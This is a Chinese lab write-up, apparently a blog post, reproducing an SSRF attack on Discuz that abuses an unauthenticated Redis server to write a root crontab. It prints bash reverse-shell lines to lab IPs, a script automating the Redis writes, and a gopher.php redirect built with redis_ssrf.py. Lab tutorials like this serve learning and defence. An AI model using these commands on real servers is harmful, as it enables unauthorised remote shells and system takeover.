mysql 反弹shell_Discuz-ssrf利用计划任务反弹shell

#001 环境搭建:

Centos7(安装有apache,php,mysql,redis)

利用winscp把discuz的源码拖到var/www/html目录下:

chmod -R 777 upload/改一下权限

然后访问192.168.136.133/upload进行安装,但是访问的时候愣是给我提示目录不存在,并且相关文件不可写

1c73895e9167a04f08a69092e9a74357.png

但是查看权限是有的

84132711a24ca475b1a43cf177f09639.png

经过各种尝试无果,开始了漫长的百度之旅,皇天不负有心人,我看到了一位兄弟和我有类似的悲惨经历,以下是他的心声:

9a48c337536922fd237a15ab8d987295.png

我赶紧打开我的centos7敲了一波:setenforce 0e5cd15c4bc4999c5a60efa7e2332342a.png

再次打开浏览器访问192.168.136.133/upload目录,全部正常了:1185e1136d1caf9e0adbc2a9c7045de2.png

根据提示点击下一步,终于看到了熟悉的面孔4baa8e87271bd042a502e035a2ea0e3b.png

访问一波正常,到此环境搭建完成:75d446a2e4469dd4a2c187dc045b60d6.png

#002 漏洞复现操作:

本地操作利用计划任务反弹shell

复现环境:win7(装有nc),centos7-discuz+redis

Win7开启nc监听:8b69947a5eb95b1cb1afcc0bf1a5aa4c.png

Centos7首先开启redis服务:

ef1831052aca4335a64de8b8fb3f3831.png

操作redis写计划任务反弹shell,在redis-cli中输入以下命令:

set x "\n* * * * * /bin/bash -i > /dev/tcp/192.168.136.132/6666 0&1\n"

config set dir /var/spool/cron/

config set dbfilename root

save

7a452a53122519d2bf2e904c69d3e4c2.png

回到win7中查看结果,成功接收到反弹的shell:31f5d34c7aa86a045735894b7bfc4c01.png

执行以下命令 /usr/sbin/ifconfig,本地利用计划任务反弹shell就成功了7d190c66519b4045671f73bfe026ce5b.png

#004 公网服务器利用gopher协议来写计划任务:

先写一个shell脚本,输入一下命令,保存为shell.sh,并上传到centos7:

redis-cli -h $1 -p $2 flushall //可不写

echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.136.132/3333 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1

redis-cli -h $1 -p $2 config set dir /var/spool/cron/

redis-cli -h $1 -p $2 config set dbfilename root

redis-cli -h $1 -p $2 save

redis-cli -h $1 -p $2 quit

win7用nc开启监听,bash命令执行shell/sh,看到ok代表执行成功da903c2e18f145e19e67634deefce666.png

回到win7查看返回结果,成功接收到反弹的shell

cf401790dbee21523f6b50e300ab9b22.png

我们想要抓取redis攻击tcp的数据包,可以使用socat端口转发。

Socat命令进行端口转发,把本地6379转发到2222端口,监听2222端口,抓取tcp数据包:

socat -v tcp-listen:2222,fork tcp-connect:localhost:63799b29b26aefeb7d04b0073d5770ec545b.png

bash命令执行shell.sh脚本,并且带上127.0.0.1 222245ac0ff88cf7742b0baf388f233ee94b.png

可以看到成功抓取到了tcp数据包,然后将抓取到的内容复制,并保存为1.log4abe79a5c29f71d7e1f2ef8c6da62973.png

利用redis_ssrf.py脚本转换1.log,生成payloada7ac9a52a5f8832e1b7cf537f695c0e2.png

将生成的payload放入公网的文件gopher.php中

header("Location:gopher://127.0.0.1:6379/_payload");

?>

ba754c4f2ee8a6185f5bef5ecb47ebe8.png

Win7开启nc监听6666端口,然后discuz访问payload就会反弹shell

2e9acae1715613dcfbecf2ef7a1109d1.png

3dc70e7cc18c1dcdaae29b28cea12103.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值